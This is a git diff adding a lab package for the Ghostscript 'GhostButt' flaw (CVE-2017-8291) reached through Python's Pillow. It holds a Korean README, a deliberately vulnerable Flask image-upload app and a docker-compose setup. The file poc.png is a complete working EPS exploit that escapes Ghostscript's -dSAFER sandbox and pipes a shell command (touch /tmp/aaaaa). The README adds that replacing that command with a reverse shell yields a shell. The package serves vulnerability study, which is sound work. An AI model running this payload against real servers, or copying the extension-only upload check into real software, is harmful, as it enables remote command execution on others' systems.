diff --git a/python/PIL-CVE-2017-8291/01.png b/python/PIL-CVE-2017-8291/01.png new file mode 100644 index 00000000..c1b4c423 Binary files /dev/null and b/python/PIL-CVE-2017-8291/01.png differ diff --git a/python/PIL-CVE-2017-8291/02.png b/python/PIL-CVE-2017-8291/02.png new file mode 100644 index 00000000..05194a80 Binary files /dev/null and b/python/PIL-CVE-2017-8291/02.png differ diff --git a/python/PIL-CVE-2017-8291/README.md b/python/PIL-CVE-2017-8291/README.md new file mode 100644 index 00000000..70dc983b --- /dev/null +++ b/python/PIL-CVE-2017-8291/README.md @@ -0,0 +1,67 @@ +# Python PIL RCE(GhostButt ) + +> [이병영 (@yi-barrack)](https://github.com/yi-barrack) + + +### 요약 + +Python에서 이미지 처리를 담당하는 모듈 PIL(Pillow)은 내부적으로 GhostScript를 호출하기 때문에 GhostButt 취약점 (CVE-2017-8291)의 영향을 받아 원격 명령 실행 취약점이 발생한다. + +GhostButt 취약점(CVE-2017-8291) +- Ghostscript는 -dSAFER 옵션을 통해 안전 모드를 제공하지만, 이 취약점을 통해 안전 모드를 우회함 +- 공격자를 특수하게 조작된 .eps 문서를 만들어 Ghostscript 입력으로 제공하게 됨 +- Ghostscript가 이 문서를 처리하는 과정에서 유형 혼동이 발생하여, 공격자가 임의의 명령을 실행할 수 있게 됨 +
+ + +### 환경 구성 및 실행 + +- `docker compose up -d` 커맨드를 입력해 테스트 환경을 실행 +- `http://your-ip:8000/` 에 접속하여 파일 업로드 웹 페이지 확인 +![](02.png) +- 조작된 poc.png 파일 업로드 + +
+
+ +정상적인 기능은 PNG 파일을 업로드하면 백엔드에서 PIL을 호출하여 이미지를 로드하고, 가로 세로 크기를 출력함. 하지만, 백엔드는 파일 헤더를 통해 이미지 유형을 판단하기 때문에 확장자 검사를 무시하고, 실행 가능한 명령이 포함된 EPS 파일을 PNG 확장자로 변경하여 업로드할 수 있음. + +예를 들어,[poc.png](poc.png),파일을 업로드하면 `touch /tmp/aaaaa`명령이 실행됨. POC 파일 내의 명령을 리버스 쉘 명령으로 변경하면 쉘을 획득할 수 있음. +해당 poc.png 파일을 업로드 후 docker에 접속하여 /tmp 에 가보면 touch /tmp/aaaaa명령에 의해 aaaaa 파일이 생성된 것을 확인 가능함 + + + +```python +command = ["gs", + "-q", # quiet mode + "-g%dx%d" % size, # set output geometry (pixels) + "-r%fx%f" % res, # set input DPI (dots per inch) + "-dBATCH", # exit after processing + "-dNOPAUSE", # don't pause between pages, + "-dSAFER", # safe mode + "-sDEVICE=ppmraw", # ppm driver + "-sOutputFile=%s" % outfile, # output file + "-c", "%d %d translate" % (-bbox[0], -bbox[1]), + # adjust for image origin + "-f", infile, # input file + ] + +# GhostScript 설치 여부 판단 코드 생략 +try: + with open(os.devnull, 'w+b') as devnull: + subprocess.check_call(command, stdin=devnull, stdout=devnull) + im = Image.open(outfile) +``` + +
+
+ +## 결과 +![](01.png) + +

+ +## 정리 +이 취약점은 -dSAFER 옵션을 통해 안전 모드를 설정했지만, GhostScript의 샌드박스 우회 취약점 (GhostButt CVE-2017-8291)으로 인해 이 안전 모드가 우회되어 임의의 명령을 실행할 수 있다. 또한, 현재까지 GhostScript 공식 최신 버전인 9.21도 이 취약점의 영향을 받기 때문에 운영체제에 GhostScript가 설치되어 있다면 PIL에 명령 실행 취약점이 존재한다고 볼 수 있다. + + diff --git a/python/PIL-CVE-2017-8291/app.py b/python/PIL-CVE-2017-8291/app.py new file mode 100644 index 00000000..7213038c --- /dev/null +++ b/python/PIL-CVE-2017-8291/app.py @@ -0,0 +1,87 @@ +''' 이미지 크기 가져오기 앱 ''' + +# coding=utf-8 +import os +from flask import Flask, request, redirect, flash, render_template_string, get_flashed_messages +from PIL import Image +from werkzeug.utils import secure_filename + +# 업로드 폴더 설정 +UPLOAD_FOLDER = '/tmp' + +# 허용되는 파일 확장자 +ALLOWED_EXTENSIONS = set(['png']) + +# Flask 앱 생성 +app = Flask(__name__) +app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER +app.secret_key = 'test' + +def get_img_size(filepath=""): + ''' 이미지 가로/세로 크기 가져오기 ''' + try: + img = Image.open(filepath) + img.load() + return img.size + except: + return (0, 0) + +def allowed_file(filename): + ''' 파일 확장자 유효성 검사 ''' + return '.' in filename and \ + filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS + +@app.route('/', methods=['GET', 'POST']) +def upload_file(): + ''' 파일 업로드 앱 ''' + if request.method == 'POST': + # 파일이 요청에 포함되어 있는지 확인 + if 'file' not in request.files: + flash('파일이 없습니다.') + return redirect(request.url) + + # 업로드된 파일 객체 가져오기 + image_file = request.files['file'] + + # 파일 이름이 비어있는지 확인 + if image_file.filename == '': + flash('파일이 선택되지 않았습니다.') + return redirect(request.url) + + # 파일 확장자 유효성 검사 + if not allowed_file(image_file.filename): + flash('허용되지 않는 파일 형식입니다.') + return redirect(request.url) + + # 파일 저장 및 크기 가져오기 + if image_file: + filename = secure_filename(image_file.filename) + img_path = os.path.join(app.config['UPLOAD_FOLDER'], filename) + image_file.save(img_path) + height, width = get_img_size(img_path) + + # 이미지 크기 출력 + return '이미지의 높이 : {}, 너비 : {}; '.format(height, width) + + # 업로드 폼 렌더링 + return render_template_string(''' + + 파일 업로드 +

파일 업로드

+ {% with messages = get_flashed_messages() %} + {% if messages %} + + {% endif %} + {% endwith %} +
+

+ +

+ ''') + +if __name__ == '__main__': + app.run(threaded=True, port=8000, host="0.0.0.0") \ No newline at end of file diff --git a/python/PIL-CVE-2017-8291/docker-compose.yml b/python/PIL-CVE-2017-8291/docker-compose.yml new file mode 100644 index 00000000..0ae204db --- /dev/null +++ b/python/PIL-CVE-2017-8291/docker-compose.yml @@ -0,0 +1,12 @@ +# Docker Compose 버전 정의 +version: '2' + +# Docker Container 정의 +services: + web: + image: vulhub/ghostscript:9.21-with-flask # vulhub/ghostscript 이미지 사용 + command: python app.py # app.py 명령 실행을 통해 Flask 서버 실행 + volumes: + - ./app.py:/usr/src/app.py # app.py 파일을 container 내부로 복사 + ports: + - "8000:8000" # host와 container의 port mapping \ No newline at end of file diff --git a/python/PIL-CVE-2017-8291/poc.png b/python/PIL-CVE-2017-8291/poc.png new file mode 100644 index 00000000..a73ea12a --- /dev/null +++ b/python/PIL-CVE-2017-8291/poc.png @@ -0,0 +1,100 @@ +%!PS-Adobe-3.0 EPSF-3.0 +%%BoundingBox: -0 -0 100 100 + + +/size_from 10000 def +/size_step 500 def +/size_to 65000 def +/enlarge 1000 def + +%/bigarr 65000 array def + +0 +size_from size_step size_to { + pop + 1 add +} for + +/buffercount exch def + +/buffersizes buffercount array def + + +0 +size_from size_step size_to { + buffersizes exch 2 index exch put + 1 add +} for +pop + +/buffers buffercount array def + +0 1 buffercount 1 sub { + /ind exch def + buffersizes ind get /cursize exch def + cursize string /curbuf exch def + buffers ind curbuf put + cursize 16 sub 1 cursize 1 sub { + curbuf exch 255 put + } for +} for + + +/buffersearchvars [0 0 0 0 0] def +/sdevice [0] def + +enlarge array aload + +{ + .eqproc + buffersearchvars 0 buffersearchvars 0 get 1 add put + buffersearchvars 1 0 put + buffersearchvars 2 0 put + buffercount { + buffers buffersearchvars 1 get get + buffersizes buffersearchvars 1 get get + 16 sub get + 254 le { + buffersearchvars 2 1 put + buffersearchvars 3 buffers buffersearchvars 1 get get put + buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put + } if + buffersearchvars 1 buffersearchvars 1 get 1 add put + } repeat + + buffersearchvars 2 get 1 ge { + exit + } if + %(.) print +} loop + +.eqproc +.eqproc +.eqproc +sdevice 0 +currentdevice +buffersearchvars 3 get buffersearchvars 4 get 16#7e put +buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put +buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put +put + + +buffersearchvars 0 get array aload + +sdevice 0 get +16#3e8 0 put + +sdevice 0 get +16#3b0 0 put + +sdevice 0 get +16#3f0 0 put + + +currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa) +.putdeviceparams +1 true .outputpage +.rsdparams +%{ } loop +0 0 .quit +%asdf